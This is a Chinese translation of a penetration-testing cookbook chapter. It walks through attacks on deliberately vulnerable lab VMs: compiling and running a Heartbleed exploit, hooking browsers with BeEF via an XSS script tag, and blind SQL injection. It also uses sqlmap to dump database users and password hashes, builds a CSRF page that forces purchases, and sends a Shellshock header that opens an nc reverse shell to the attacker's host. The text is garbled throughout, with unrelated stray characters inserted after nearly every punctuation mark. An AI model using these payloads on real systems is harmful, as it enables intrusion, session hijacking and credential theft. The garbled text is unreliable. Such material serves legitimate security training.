第七章 高級利用
作者:Gilberto Najera-Gutierrez
譯者:飛龍
協(xié)議:CC BY-NC-SA 4.0
簡介
在獲得一些便利來發(fā)現(xiàn)和利用漏洞之后仰坦,我們現(xiàn)在轉(zhuǎn)向可能需要更多努力的其他問題上。
這一章中添诉,我們會搜索利用顷锰,編譯程序郊霎,建立服務(wù)器以及破解密碼槐沼,這可以讓我們訪問敏感信息阶冈,并執(zhí)行服務(wù)器和應(yīng)用中的特權(quán)功能热鞍。
7.1 在 Exploit-DB 中搜索 Web 服務(wù)器的漏洞
我們偶爾會在操作系統(tǒng)中葫慎, Web 應(yīng)用所使用的庫中单山,以及活動服務(wù)中發(fā)現(xiàn)服務(wù)器漏洞,或者可以在瀏覽器或 Web 代理中不能利用的安全問題幅疼。對于這些情況,我們可以使用 Metasploit 的利用集合昼接,或者如果我們要找的不在 Metasploit 里面爽篷,我們可以在 Exploit-DB 中搜索它。
Kali 包含了 Exploit-DB 中的利用的離線副本慢睡。這個秘籍中逐工,我們會使用 Kali 自帶的命令來探索這個數(shù)據(jù)庫并找到我們需要的利用。
操作步驟
打開終端漂辐。
-
輸入下列命令:
searchsploit heartbleed
-
下一步是將利用復(fù)制到一個可以修改的地方泪喊,并編譯它,像這樣:
mkdir heartbleed cd heartbleed cp /usr/share/exploitdb/platforms/multiple/remote/32998.c
-
通常髓涯,利用在第一行包含一些自身信息袒啼,以及如何使用它們,像這樣:
head -n 30 32998.c
-
這里纬纪,利用使用 C 編寫蚓再,所以我們需要將它編譯來使用。編譯命令在文件中顯示(
cc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed
)包各,它在 Kali 中不起作用,所以我們需要下面這個:gcc 32998.c -o heartbleed -Wl,-Bstatic -lssl -Wl,-Bdynamic -lssl3 -lcrypto
工作原理
searchsploit
命令是安裝在 Kali 中的 Exploit-DB 本地副本的接口。它用于在利用的標(biāo)題和描述中搜索字符串宙项,并顯示結(jié)果爆存。
利用存在于/usr/share/exploitdb/platforms
目錄中。searchsploit
所展示的利用目錄是它的相對路徑护姆,這就是我們在復(fù)制文件的時候使用完整路徑的原因矾端。利用文件以利用編號命名,在它們被提交到Exploit-DB 時分配卵皂。
編譯步驟和在源代碼中的推薦有些不同须床,因為 OpenSSL 庫在基于 Debian 的發(fā)行版中,由于它們從源代碼中構(gòu)建的方式而缺少一些功能渐裂。
更多
監(jiān)控利用的影響和效果極其重要豺旬,因為我們在實時系統(tǒng)中使用它。通常柒凉,Exploit-DB 中的利用都值得相信族阅,即使它們通常需要一些調(diào)整來工作在特定的環(huán)境中,但是它們中有一些不像他們所說的那樣膝捞。出于這個原因坦刀,在真實世界的滲透測試中使用之前,我們需要檢查源代碼并在我們的實驗環(huán)境中測試它們。
另見
除了 Exploit-DB(www.exploit-db.com
)鲤遥,也有一些其他站點可以用于搜索目標(biāo)系統(tǒng)中的已知漏洞和利用:
- http://www.securityfocus.com
- http://www.xssed.com/
- https://packetstormsecurity.com/
- http://seclists.org/fulldisclosure/
- http://0day.today/
7.2 利用 Heartbleed 漏洞
這個秘籍中沐寺,我們會使用之前編譯的 Heartbleed 利用來提取關(guān)于存在漏洞的 Bee-box 服務(wù)器的信息(https://192.168.56.103:8443/
)。
Bee-box 虛擬機(jī)可以從https://www.vulnhub.com/ entry/bwapp-bee-box-v16,53/
下載盖奈,那里也有安裝指南混坞。
準(zhǔn)備
在上一個秘籍中,我們生成了 Heartbleed 利用的可執(zhí)行文件钢坦。我們現(xiàn)在使用它來利用服務(wù)器的漏洞究孕。
Heartbleed 是能夠從服務(wù)器內(nèi)存中提取信息的漏洞。在嘗試?yán)脕慝@得一些要提取的信息之前爹凹,可能需要瀏覽并向服務(wù)器的 8443 端口上的 HTTPS 頁面發(fā)送數(shù)據(jù)厨诸。
操作步驟
-
如果我們檢查Bee-Box 的 8443 端口,我們會發(fā)現(xiàn)它存在 Heartbleed 漏洞禾酱。
sslscan 192.168.56.103:8443
-
現(xiàn)在微酬,讓我們開始利用漏洞。手心颤陶,我們訪問包含可執(zhí)行利用的文件夾:
cd heartbleed
-
之后我們檢查程序的選項得封,像這樣:
./heartbleed --help
-
我們要嘗試?yán)?code>192.168.56.103的 443 端口,獲得最大的泄露并保存輸出到文本文件
hb_test.txt
指郁。./heartbleed -s 192.168.56.103 -p 8443 -f hb_test.txt -t 1
-
現(xiàn)在忙上,如果我們檢查
hb_test.txt
的內(nèi)容:cat hb_test.txt
我們的利用從 HTTPS 服務(wù)器中提取了信息,從這里我們可以看到會話 OD 甚至還有完整的登錄請求闲坎,包括純文本用戶名和密碼疫粥。
-
如果我們想要跳過所有的二進(jìn)制數(shù)據(jù),只查看文件中的可讀文本腰懂,使用
strings
命令:strings hb_test.txt
工作原理
我們在第四章中提到過梗逮,Heartbleed 漏洞允許攻擊者從 OpenSSL 服務(wù)器內(nèi)存中以純文本讀取信息,這意味著我們不需要解密甚至是解釋任何客戶端和服務(wù)端之間的通信绣溜,我們只需簡單地向服務(wù)器請求內(nèi)存中的東西慷彤,它會回應(yīng)未加密的信息。
這個秘籍中怖喻,我們使用了可公共訪問的利用來執(zhí)行攻擊底哗,并獲取到至少一個有效的會話 ID。有的時候還可能在 Heartbleed 的轉(zhuǎn)儲中找到密碼或其它敏感信息锚沸。
最后跋选,strings
命令只展示文件中的字符串,跳過所有特殊字符哗蜈,使其更加易讀前标。
7.3 使用 BeEF 利用 XSS
BeEF坠韩,即瀏覽器利用框架,是個專注于客戶端攻擊向量的框架炼列,特別是 Web 瀏覽器的攻擊只搁。
這個秘籍中,我們會利用 XSS 漏洞并使用 BeEF 來控制客戶端瀏覽器俭尖。
準(zhǔn)備
在開始之前氢惋,我們需要確保啟動了 BeEF 服務(wù),并且能夠訪問http://127.0.0.1:3000/ui/panel
(使用beef/beef
身份標(biāo)識)目溉。
-
Kali 的默認(rèn) BeEF 服務(wù)不能工作。所以我們不能僅僅運(yùn)行
beef-xss
讓它啟動菱农。我們需要從安裝目錄中啟動它缭付,像這樣:cd /usr/share/beef-xss/ ./beef
現(xiàn)在,瀏覽
http://127.0.0.1:3000/ui/panel
并使用beef
作為用戶名和密碼循未。如果有效陷猫,我們就準(zhǔn)備好了。
操作步驟
BeEF 需要客戶端瀏覽器調(diào)用
hook.js
文件的妖,這用于將瀏覽器勾到我們的 BeEF 服務(wù)器绣檬,我們會使用一個存在 XSS 漏洞的應(yīng)用來使用戶調(diào)用它。為了嘗試簡單的 XSS 測試嫂粟,瀏覽http://192.168.56.102/bodgeit/search.jsp?q=%3Cscript%3Ealert%28 1%29%3C%2Fscript%3E
娇未。-
這就是存在 XSS 漏洞的應(yīng)用,所以現(xiàn)在我們需要修改腳本來調(diào)用
hook.js
星虹。想象一下你就是受害者零抬,你已經(jīng)收到了包含http://192.168.56.102/bodgeit/search.jsp?q=<script src="http://192.168.56.1:3000/hook.js"></script>
鏈接的郵件,你打算瀏覽器它來看看宽涌,像這樣: 現(xiàn)在平夜,在 BeEF 面板中,攻擊者會看到新的在線瀏覽器卸亮。
-
攻擊者的最佳步驟就是生成一些持久的忽妒,至少在用戶瀏覽期間有效。訪問攻擊者瀏覽器的
Command
標(biāo)簽頁兼贸,從這里選擇Persistence | Man-In-The-Browser
之后點擊Execute
段直。執(zhí)行之后,選擇Module Results History
中的相關(guān)命令來檢查結(jié)果溶诞,像這樣: -
如果我們檢查瀏覽器中的
Logs
標(biāo)簽頁坷牛,我們可能會看到BeEF正在儲存用戶關(guān)于用戶在瀏覽器中執(zhí)行什么操作的信息,例如輸入和點擊很澄,我們可以在這里看到: -
我們也可以通過使用
Commands | Browser | Hooked Domain | Get Cookie
來獲取Cookie京闰,像這樣:
工作原理
這個秘籍中颜及,我們使用了script
標(biāo)簽的src
屬性來調(diào)用外部 JS 文件,這里是 BeEF的鉤子蹂楣。
hook.js
文件與服務(wù)器通信亲桥,執(zhí)行命令并返回響應(yīng)俱两,使攻擊者能夠看到它們。它在客戶端的瀏覽器中不打印任何東西,所以受害者通常不會知道他的瀏覽器正在被攻擊吟温。
在讓受害者執(zhí)行我們的hook
腳本之后,我們使用持久化模塊 Man In The Browser 使瀏覽器在每次用戶點擊鏈接時葵姥,向相同域發(fā)送 AJAX 請求紊浩,所以這個請求維持了鉤子,也加載了新的頁面酌呆。
我么也會看到衡载,BeEF 的日志記錄了用戶在頁面上執(zhí)行的每個步驟,我們能夠從中獲得用戶名和密碼信息隙袁。也可以用來獲得遠(yuǎn)程的會話 Cookie痰娱,這可以讓攻擊者劫持受害者的會話。
更多
BeEF 擁有很多功能菩收,從判斷受害者所使用的瀏覽器類型梨睁,到利用已知漏洞和完全攻陷客戶端系統(tǒng)。一些有趣的特性是:
Social Engineering/Pretty Theft
:這是個社會工程工具娜饵,允許我們模擬登陸頁面坡贺,就像常見的服務(wù)那樣,例如 Fackbook箱舞、Linkedin拴念、YouTube 以及其它。Browser/Webcam and Browser/Webcam HTML5
:就像看上去那樣褐缠,這兩個模塊能夠惡意使用許可配置來激活受害者的攝像頭政鼠,前者使用隱藏的 Flashembed
標(biāo)簽,后者使用 HTML5 標(biāo)簽队魏。Exploits folder
:這包含一組特殊軟件和情況的利用公般,它們中的一些利用服務(wù)和其它客戶端瀏覽器。Browser/Hooked Domain/Get Stored Credentials
:這會嘗試提取瀏覽器中儲存的淪陷域的用戶名和密碼胡桨。Use as Proxy
:如果我們右擊被勾住的瀏覽器官帘,我們會獲得將其用作代理的選項。這將客戶端瀏覽器用作代理昧谊,會給我們機(jī)會來探索受害者的內(nèi)部網(wǎng)絡(luò)刽虹。
BeEF 有許多其它攻擊和模塊,對滲透測試者非常實用呢诬,如果你想要了解更多涌哲,你可以查看官方的 Wiki:https://github.com/ beefproject/beef/wiki
胖缤。
7.4 利用 SQL 盲注
在第六章中,我們利用了基于錯誤的 SQL 注入阀圾,現(xiàn)在我們使用 Burp Suite Intruder 作為主要工具來識別和利用 SQL 盲注哪廓。
準(zhǔn)備
使瀏覽器將 Burp Suite 用作代理。
操作步驟
瀏覽
http://192.168.56.102/WebGoat
初烘,實用webgoat
作為用戶名和密碼登錄涡真。點擊
Start WebGoat
來訪問 WebGoat 的主頁。訪問
Injection Flaws | Blind Numeric SQL Injection
肾筐。-
頁面上說哆料,練習(xí)的目標(biāo)是找到給定字段在給定行中的值。我們的做事方式有一點不同吗铐,但是讓我們看看它如何工作:將
101
作為賬戶號碼东亦,并點擊go
。 -
現(xiàn)在嘗試
1011
抓歼。到目前為止讥此,我們看到了應(yīng)用的行為拢锹,它僅僅告訴我們賬戶號碼是否有效谣妻。
-
讓我們嘗試注入,因為它查找號碼卒稳,可能將它們用作整數(shù)蹋半。我們在測試中不使用單引號,所以提交
101 and 1=1
-
現(xiàn)在嘗試
101 and 1=2
充坑。看上去這里有個盲注减江,在有效的賬戶中注入恒真的條件結(jié)果。注入恒假的條件時會出現(xiàn)
Invalid account number
信息捻爷。 在這個秘籍中辈灼,我們要獲得連接到數(shù)據(jù)庫的用戶名稱。所以我們首先需要知道用戶名稱的長度也榄。讓我們嘗試一下巡莹,注入
101 AND 1=char_length(current_user)
。-
下一步是在 BurpSuite 的代理中尋找最后一個請求甜紫,并將它發(fā)送到 intruder中降宅,像這樣:
-
一旦發(fā)送到 intruder,我們可以清楚所有載荷標(biāo)記囚霸,并在
AND
后面的1
中添加新的腰根,像這樣: 訪問載荷部分并將
Payload type
設(shè)為Numbers
。-
將
Payload type
設(shè)為Sequential
拓型,從 1 到 15额嘿,步長為 1瘸恼。 -
為了看看響應(yīng)是否滿足要求,訪問
Intruder's options
岩睁,清除GrepMatch
列表并添加Invalid account number
钞脂,以及Account number is valid
。我們需要在每個 intruder 的標(biāo)簽頁中這樣修改捕儒。
-
為了使應(yīng)用自動化冰啃,在
Redirections
中選擇Always
,并在Redirections
中選擇Process cookies
刘莹。我們需要在每個 intruder 的標(biāo)簽頁中這樣修改阎毅。
-
開始攻擊
它找到了號碼為 2 的有效響應(yīng),這意味著用戶名只含有兩個字符長点弯。
-
現(xiàn)在扇调,我們打算猜測用戶名的每個字符,從第一個字符開始抢肛。在應(yīng)用中提交下列代碼:
101 AND 1=(current_user LIKE 'b%')
狼钮。我們選擇
b
作為第一個字符,讓 BurpSuite 來獲取請求捡絮,它應(yīng)該為任意字符熬芜。 -
同樣,我們將請求發(fā)送給 intruder 并保留唯一的載荷標(biāo)記
b
福稳,它是名稱的首單詞涎拉。 -
我們的載荷應(yīng)該是含有所有小寫字母和大寫字母的列表(從 a 到 z 以及 A 到 Z)。
-
在 intruder 中重復(fù)步驟 13 到 14 并開始攻擊的圆,像這樣:
我們的用戶名的首字母是
S
鼓拧。 現(xiàn)在,我們需要找到名稱的第二個單詞越妈,所以我們提交
101 AND 1=(current_user='Sa')
到應(yīng)用的文本框季俩,并發(fā)送請求給 intruder。-
現(xiàn)在我們的載荷標(biāo)記是
S
后面的a
梅掠,換句話說艇挨,名稱的第二個字符笼痹。 -
重復(fù)步驟 18 到 19蹭沛。在我們的例子中排截,我們只使用了倆表中的大寫字母,因為如果第一個單詞是大寫的挠蛉,兩個單詞就很可能都是大寫的祭示。
名稱的第二個單詞是
A
,所以應(yīng)用用于執(zhí)行查詢的數(shù)據(jù)庫用戶是SA
谴古。SA
在 MSSQL 數(shù)據(jù)庫中的意思是系統(tǒng)管理員质涛。
工作原理
利用 SQL 盲注比起基于錯誤的注入花費(fèi)更多精力和時間稠歉。在這個秘籍中我們看到了如何獲取連接到數(shù)據(jù)庫的用戶名,而在第六章的 SQL 注入利用匯總汇陆,我們使用了一條命令來獲取它怒炸。
我們可以使用字典來查看當(dāng)前用戶是否在名稱列表中,但是如果名稱不在列表中毡代,會花費(fèi)更多時間阅羹。
我們最開始識別了漏洞,所顯示的信息告訴我們我們的請求是真是假教寂。
一旦我們知道存在注入捏鱼,并且正面的響應(yīng)是什么樣子,我們開始詢問當(dāng)前用戶的長度酪耕,詢問數(shù)據(jù)庫导梆,1
是否是當(dāng)前用戶名的長度,是不是2
迂烁,以此類推看尼,知道我們發(fā)現(xiàn)了長度。知道何時停止用戶名長度的搜索非常重要盟步。
在找到長度之后藏斩,我們使用相同的技巧來發(fā)現(xiàn)首字母,LIKE 'b%'
語句告訴 SQL 解釋器是否首字母是b
址芯,剩下的并不重要灾茁,它可以是任何東西(%
是用于多數(shù) SQL 實現(xiàn)的通配符)窜觉。這里谷炸,我們看到了首字母是S
。使用相同的技巧禀挫,我們就能發(fā)現(xiàn)第二個字符旬陡,并得到整個名稱。
更多
這個攻擊可以繼續(xù)來獲得 DBMS 的版本语婴,之后使用廠商特定的命令來觀察是否用戶擁有管理權(quán)限描孟。如果是的話,你可以提取所有用戶名和密碼砰左,激活遠(yuǎn)程連接匿醒,以及除此之外的許多事情。
你可以嘗試的事情之一就是使用 SQLMap 來利用這類型的注入缠导。
還有另一種類型的盲注廉羔,它是基于時間的 SQL 盲注。其中我們沒有可視化的線索僻造,關(guān)于命令是否被執(zhí)行(就像有效或者無效的賬戶信息)憋他。反之孩饼,我們需要給數(shù)據(jù)庫發(fā)送sleep
命令,如果響應(yīng)時間鯧魚我們發(fā)送的時間竹挡,那么它就是真的響應(yīng)镀娶。這類型的攻擊非常緩慢,因為它有時需要等待 30 秒來獲得僅僅一個字符揪罕。擁有類似 sqlninja 或者 SQLMap 的工具在這種情況下十分有用(https://www.owasp.org/index.php/Blind_SQL_Injection
)梯码。
7.5 使用 SQLMap 獲得數(shù)據(jù)庫信息
在第六章中,我們使用了 SQLMap 來從數(shù)據(jù)庫提取信息和表的內(nèi)容好啰。這非常實用忍些,但是這不僅僅是這個工具的優(yōu)勢,也不是最有趣的事情坎怪。這個秘籍中罢坝,我們會將其用于提取關(guān)于數(shù)據(jù)庫用戶和密碼的信息,這可以讓我們訪問整個系統(tǒng)搅窿,而不僅僅是應(yīng)用嘁酿。
操作步驟
啟動 Bee-box 虛擬機(jī)之后,將 BurpSuite 監(jiān)聽用做代理男应,登錄和選擇 SQL 注入漏洞(POST/Search)闹司。
輸入任何電影名稱并點擊
Search
。-
現(xiàn)在讓我們訪問 BuirpSuite 并查看請求:
-
現(xiàn)在沐飘,在 Kali 中訪問終端并輸入以下命令:
sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba
我們可以看到注入成功了游桩。當(dāng)前的用戶是 DBA,這意味著用戶可以對數(shù)據(jù)庫執(zhí)行管理員操作耐朴,例如添加用戶和修改密碼借卧。
-
現(xiàn)在我們打算提取更多信息,例如用戶和密碼筛峭,所以在終端中輸入以下命令:
sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba --users --passwords
我們現(xiàn)在得到了數(shù)據(jù)庫的用戶列表以及哈希后的密碼铐刘。
-
我們也可以獲得 shell,讓我們能夠直接發(fā)送 SQL 查詢到數(shù)據(jù)庫影晓。
sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title –sql-shell
工作原理
一旦我們知道了存在 SQL 注入镰吵,我們使用 SQLMap 來利用它,像這樣:
sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba
在這個對 SQLMap 的調(diào)動中挂签,我們使用了--cookie
參數(shù)來發(fā)送會話 Cookie 因為應(yīng)用需要身份驗證來訪問sqli_6.php
頁面疤祭。--data
參數(shù)包含發(fā)送到服務(wù)器的 POST 數(shù)據(jù),=p
告訴 SQLMap 僅僅注入title
參數(shù)饵婆,--is-dba
詢問數(shù)據(jù)庫當(dāng)前用戶是否擁有管理員權(quán)限勺馆。
DBA 允許我們向數(shù)據(jù)庫詢問其他用戶的信息,SQLMap 通過--users
和--passwords
使我們的操作變得更加容易。這些參數(shù)詢問用戶名和密碼谓传,因為所有 DBMS 將用戶的密碼加密存儲蜈项,我們獲得的只能是哈希。所以我們?nèi)匀灰褂妹艽a破解器來破解它們续挟。如果你在 SQLMap 詢問你執(zhí)行字典攻擊的時候回答Yes
紧卒,你可能就知道了至少一個用戶的密碼。
我們也使用了--sql-shell
選項來從我們向數(shù)據(jù)庫發(fā)送的 SQL 查詢中獲得 shell诗祸。這并不是真的 shell跑芳,當(dāng)然,SQLMap 通過 SQL 注入發(fā)送我們寫的命令直颅,并返回這些查詢的結(jié)果博个。
7.6 執(zhí)行 CSRF 攻擊
CSRF 攻擊強(qiáng)迫身份驗證后的用戶在 Web 應(yīng)用中執(zhí)行需要身份驗證的,非預(yù)期的行為功偿。這可以通過用戶所瀏覽的外部站點觸發(fā)該行為來實現(xiàn)盆佣。
這個秘籍中,我們會獲取應(yīng)用中的信息械荷,來觀察攻擊站點是否能夠發(fā)送有效的請求給漏洞服務(wù)器共耍。之后,我們會創(chuàng)建頁面來模擬正常請求并誘使用戶在身份驗證后訪問這個頁面吨瞎。惡意頁面之后會發(fā)送請求給漏洞服務(wù)器痹兜,如果應(yīng)用在相同瀏覽器中打開,它會執(zhí)行操作颤诀,好像用戶發(fā)送了它們字旭。
準(zhǔn)備
為了執(zhí)行 CSRF 攻擊,我們使用 vulnerable_vm 中的 WackoPicko 應(yīng)用:http://192.168.56.102/WackoPicko
崖叫。我們需要兩個用戶怕犁,一個叫做v_user
铸豁,是受害者跳芳,另一個叫做attacker
杖刷。
我們也需要啟動 BurpSuite 并將其配置為服務(wù)器的代理斤儿。
操作步驟
作為
attacker
登錄 WackoPicko剧包。攻擊者首先需要了解應(yīng)用的行為,所以如果我們發(fā)酸使用戶購買我們的圖片往果,將 BurpSuite 用作代理疆液,我們需要瀏覽:
http://192.168.56.102/WackoPicko/pictures/recent.php
。選項 ID 為 8 的圖片:
http://192.168.56.102/WackoPicko/ pictures/view.php?picid=8
陕贮。點擊
Add to Cart
堕油。會花費(fèi)我們 10 個 Tradebux,但這是值得的,所以點擊
Continue to Confirmation
掉缺。在下一頁上卜录,點擊
Purchase
。-
現(xiàn)在眶明,讓我們訪問 BurpSuite 來分析發(fā)生了什么艰毒。
第一個有趣的調(diào)用是
/WackoPicko/cart/action. php?action=add&picid=8
,它是添加圖片到購物車的請求搜囱。/WackoPicko/cart/confirm.php
在我們點擊相應(yīng)按鈕時調(diào)用丑瞧,它可能必須用于購買。另一個可被攻擊者利用的是購買操作的 POST 調(diào)用:/WackoPicko/cart/action. php?action=purchase
蜀肘,他告訴應(yīng)用將圖片添加到購物車中并收相應(yīng)的 Tradebux绊汹。 -
現(xiàn)在,攻擊者需要上傳圖片來強(qiáng)迫其它用戶購買扮宠。登錄為
attacker
之后西乖,訪問Upload
,填充所需信息坛增,選項需要上傳的文件浴栽,點擊UploadFile
。一旦圖片唄上傳轿偎,我們會直接重定向到它的相應(yīng)頁面典鸡,你可以在這里看到:
要注意為圖片分配的 ID,它是攻擊的核心部分坏晦,這里它是 16萝玷。
-
一旦我們分析了購買流程,并擁有了圖片 ID昆婿,我們需要啟動托管惡意頁面的服務(wù)器球碉。在 Kali 中以 root 用戶啟動 Apache 服務(wù)器,像這樣:
service apache2 start
-
之后仓蛆,創(chuàng)建 HTML 文件睁冬,叫做
/var/www/html/wackopurchase.html
,帶有如下內(nèi)容:<html> <head></head> <body onLoad='window.location="http://192.168.56.102/ WackoPicko/cart/action.php?action=purchase";setTimeout("window. close;",1000)'> <h1>Error 404: Not found</h1> <iframe src="http://192.168.56.102/WackoPicko/cart/action. php?action=add&picid=16"> <iframe src="http://192.168.56.102/WackoPicko/cart/review.php" > <iframe src="http://192.168.56.102/WackoPicko/cart/confirm.php"> </iframe> </iframe> </iframe> </body>
這個代碼會我們的商品的發(fā)送
add
看疙、review
和confirm
請求給 WackoPicko 豆拨,之后展示 404 頁面給用戶,當(dāng)它加載完成后能庆,它會重定向到購買操作施禾,之后在一秒后關(guān)閉窗口。 現(xiàn)在以
v_user
登錄搁胆,上傳圖片并登出弥搞。作為攻擊者邮绿,我們需要確保用戶訪問我們的惡意站點,同時仍然保持登錄 WackoPicko攀例。以
attacker
登錄之后船逮,訪問Recent
并選擇屬于v_user
的圖片(剛剛上傳的那個)。-
我們需要在圖片上輸入下列評論粤铭。
This image looks a lot like <a href="http://192.168.56.1/ wackopurchase.html" target="_blank">this</a>
譯者注:這一步的前提是頁面上存在 XSS傻唾,沒有的話利用社會工程直接發(fā)送鏈接也是可行的。
-
點擊
Preview
之后Create
承耿。你可以看到冠骄,評論中允許HTML 代碼,而且當(dāng)
v_user
點擊鏈接是加袋,我們的惡意頁面會在新窗口打開凛辣。 登出并以
v_user
登錄。訪問
Home
并點擊Your Purchased Pics
职烧,這里應(yīng)該沒有攻擊者的圖片扁誓。再次訪問
Home
,之后訪問Your Uploaded Pics
蚀之。選項帶有攻擊者評論的圖片蝗敢。
-
點擊評論中的鏈接。
當(dāng)它完全加載之后足删,你應(yīng)該看到文本框中的一些 WackoPicko 的文本寿谴,這個窗口會在一秒之后關(guān)閉,我們的攻擊已經(jīng)完成了失受。
-
如果我們訪問
Home
讶泰,你可以看到v_user
的 Tradebux 余額現(xiàn)在是 85。 -
現(xiàn)在訪問
Your Purchased Pics
:http://192.168.56.102/WackoPicko/ pictures/purchased.php
來查看非預(yù)期購買的圖片:
對于 CSRF 工具者拂到,成功執(zhí)行漏洞需要預(yù)置條件痪署。首先,我們需要了解執(zhí)行特殊操作所需的請求參數(shù)兄旬,以及我們需要在所有情況中都處理的響應(yīng)狼犯。
這個秘籍中,我們使用了代理和有效用戶賬戶來執(zhí)行我們所需的操作领铐,來復(fù)制和收集所需信息:購買過程中涉及到的請求悯森,這些請求所需的信息,以及執(zhí)行它們的正確順序罐孝。
一旦我們知道了需要向應(yīng)用發(fā)送什么呐馆,我們需要將其自動化,所以我們啟動 Web 服務(wù)器莲兢,并準(zhǔn)備頁面使調(diào)用以正確順序和正確參數(shù)執(zhí)行汹来。通過使用 onLoad
JS 時間,我們確保購買在add
和confirm
調(diào)用之前不會執(zhí)行改艇。
在每個 CSRF 攻擊中收班,都必須有方法讓用戶訪問我們的惡意站點,同時保持正常站點的登錄谒兄。這個秘籍中摔桦,我們使用應(yīng)用的特性,它的評論允許 HTML 代碼承疲,并可以在這里輸入鏈接邻耕。所以當(dāng)用戶點擊某個圖片評論中的鏈接時,它就向我們的 Tradebox 盜取站點發(fā)送了請求燕鸽。
最后兄世,當(dāng)用戶訪問我們的站點時,它模擬了錯誤頁面啊研,并在購買請求剛剛完成后關(guān)閉自己御滩。在這里我們并不需要擔(dān)心滲透,所以錯誤頁面可以改進(jìn)一下使用戶不懷疑它党远。這通過 HTML body
標(biāo)簽中的onload
事件中的 JavaScript 命令(購買操作的調(diào)用削解,和用于關(guān)閉窗口的計時器)來完成。這個時間在頁面的所有元素完全加載之后觸發(fā)沟娱,換句話說氛驮,當(dāng)add
、review
和confirm
的步驟完成之后济似。
7.7 使用 Shellsock 執(zhí)行命令
Shellshock(也叫作Bashdoor)是個在 2014 年九月發(fā)現(xiàn)在 Bash shell 中的bug柳爽,允許命令通過儲存在環(huán)境變量中的函數(shù)來執(zhí)行。
Shellshock 和我們滲透測試者有關(guān)系碱屁,因為開發(fā)者有時候允許我們在 PHP 或 CGI 腳本中調(diào)用系統(tǒng)命令 -- 這些腳本可以利用系統(tǒng)環(huán)境變量磷脯。
這個秘籍中,我們會在 Bee-box 漏洞虛擬機(jī)中利用 Shellshock 漏洞來獲得服務(wù)器的命令執(zhí)行權(quán)娩脾。
操作步驟
登錄
http://192.168.56.103/bWAPP/
昏名。-
在
Choose your bug
下拉框中選擇Shellshock Vulnerability (CGI)
傻丝,之后點擊Hack
。在文本中,我們看到了一些有趣的東西峻汉;
Current user: www-data
。這可能意味著頁面使用系統(tǒng)調(diào)用來獲得用戶名跟啤。它給了我們提示:Attack the referrer
烫饼。 讓我們看看背后有什么東西,使用 BurpSuite 來記錄請求并重復(fù)步驟 2胰挑。
-
讓我們查看代理的歷史:
我們可以看到蔓罚,有個
iframe
調(diào)用了 shell 腳本:./cgi-bin/shellshock.sh
椿肩,這可能存在 Shellshock 漏洞。 讓我們跟隨提示并嘗試攻擊
shellshock.sh
豺谈。所以我們首先需要配置 BurpSuite 來攔截服務(wù)器的響應(yīng)郑象,訪問Proxy
標(biāo)簽頁的Options
,并選中Intercept responses based on the following rules
的選擇框茬末。現(xiàn)在厂榛,讓 BurpSuite 攔截和重新加載
shellshock.php
。-
在 BurpSuite 中丽惭,點擊
Forward
直到得到了/bWAPP/cgi-bin/ shellshock.sh
請求击奶,之后將Referer
替換為:() { :;}; echo "Vulnerable:"
-
再次點擊
Forward
,在.ttf
文件的請求中责掏,我們應(yīng)該能得到shellshcok.sh
的響應(yīng)柜砾,像這樣:現(xiàn)在響應(yīng)多了一個協(xié)議頭參數(shù),叫做
Vulnerable
拷橘。這是因為它將echo
命令的輸出集成到 HTTP 協(xié)議頭中局义,所以我們可以進(jìn)一步利用它。 -
現(xiàn)在使用下列命令重復(fù)這個過程:
() { :;}; echo "Vulnerable:" $(/bin/sh -c "/sbin/ifconfig")
-
能夠在遠(yuǎn)程服務(wù)器上執(zhí)行命令冗疮,對于滲透測試來說是個巨大的優(yōu)勢萄唇,下一步自然是獲得遠(yuǎn)程 shell。在 Kali 中打開終端术幔,監(jiān)聽網(wǎng)絡(luò)端口另萤,像這樣:
nc -vlp 12345
-
現(xiàn)在訪問 BurpSuite 的代理歷史,選擇任何
shellshock.sh
的請求诅挑,右擊它并發(fā)送到 Repeater四敞,像這樣: -
在 Repeater 中,修改 Referer 的值為:
() { :;}; echo "Vulnerable:" $(/bin/sh -c "nc -e /bin/bash 192.168.56.1 12345")
這里拔妥,192.168.56.1 是我們 Kali 主機(jī)的地址忿危。
點擊
Go
。-
如果我們檢查我們的終端没龙,我們可以看到連接已建立铺厨,執(zhí)行一些命令來檢查我們是否得到了遠(yuǎn)程 shell。
工作原理
在第一步中硬纤,我們發(fā)現(xiàn)了 shell 腳本的調(diào)用解滓。因為它可以被 shell 解釋器運(yùn)行,它可能是漏洞版本的 bash筝家。為了驗證洼裤,我們執(zhí)行了下列測試:
() { :;}; echo "Vulnerable:"
第一個部分() { :;};
是個空函數(shù),因為 bash 可以將函數(shù)儲存為環(huán)境變量溪王,這個是漏洞的核心腮鞍。在函數(shù)結(jié)束之后值骇,解析器會繼續(xù)解釋(并執(zhí)行)命令,這允許我們執(zhí)行第二個部分echo "Vulnerable:
缕减,這是簡單返回輸入的命令雷客。
Web 服務(wù)器中存在漏洞芒珠,因為 CGI 事先將請求的所有部分映射為環(huán)境變量桥狡,所以這個攻擊通過User-Agent
或者Accept-Language
也能工作。
一旦我們知道了服務(wù)器存在漏洞皱卓,我們鍵入測試命令ifconfig
并建立反向 shell`裹芝。
反向 shell 是一種遠(yuǎn)程 shell,它的特點是由受害者主機(jī)初始化娜汁,攻擊者監(jiān)聽連接嫂易,而不是服務(wù)器在綁定連接中等待客戶端的連接。
7.8 使用 John the Ripper 和字典來破解密碼哈希
在上一個秘籍掐禁,以及第六章中怜械,我們從數(shù)據(jù)庫中提取了密碼哈希。在執(zhí)行滲透測試的時候傅事,有時候這是唯一的用于發(fā)現(xiàn)密碼的方式缕允。為了發(fā)現(xiàn)真實的密碼,我們需要破譯它們蹭越。由于哈希由不可逆的函數(shù)生成障本,我們沒有辦法直接解密密碼。所以使用慢速的方法响鹃,例如暴力破解和字典攻擊就很有必要驾霜。
